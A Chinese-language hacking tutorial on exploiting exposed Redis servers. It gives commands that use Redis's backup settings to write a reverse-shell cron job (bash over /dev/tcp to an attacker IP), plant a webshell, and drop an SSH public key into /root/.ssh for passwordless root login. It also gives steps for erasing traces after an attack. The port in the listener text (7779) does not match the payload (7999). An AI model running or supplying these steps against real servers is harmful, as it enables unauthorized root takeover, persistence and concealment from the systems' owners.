0x01 利用redis备份写定时任务反弹shell
原理:利用redis备份功能进行文件操作
开始前可以做个备份,实际攻击中最好先执行config get dir 记清楚原来备份路径,方便还原擦除痕迹
利用redis-cli -h 目标ip 连接redis服务器
执行以下命令:
set x "\n* * * * * bash -i >& /dev/tcp/192.168.199.187/7999 0>&1\n" //设置变量x,引号里为变量内容,这也备份的时候可以把内容写入备份目录
config set dir /var/spool/cron/ //修改备份目录到定时任务目录
config set dbfilename root //修改备份文件名为自己喜欢的名字
save //保存设置
测试如下:
自己复现可以利用crontab -e查看定时任务是否成功写入
攻击机监听设置的定时任务指定反弹shell的端口 7779,一会儿攻击机就成功接收目标机反弹的shell
0x02利用备份写入webshell
原理步骤和上面差不多。前提是知道网站绝对路径,这种方法适用于服务器权限不够,但是redis对web有写入权限。
参考链接:https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
0x03 利用备份上传公钥,实现服务器免密登录
ssh-keygen -t rsa 一路回车生成密钥
将目录下密钥保存为1.txt (可以自定义),执行
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
将密钥设置为crack变量内容, 上传目标机
同样利用redis-cli -h 目标ip 连接目标redis服务器,修改备份路径和备份文件名。
修改备份文件路径为/root/.ssh(目标机密钥存放的路径,不同机器情况可能不一致)
修改备份文件名,保存退出。
尝试免密连接服务器,漏洞利用成功。
0x04清理痕迹,还原设置环境
del payload //删除
config set dir /root //修改路径为攻击前路径(不同环境路径可能不一样)
config set dbfilename dump.rdb //修改备份文件名为默认文件名
测试如下: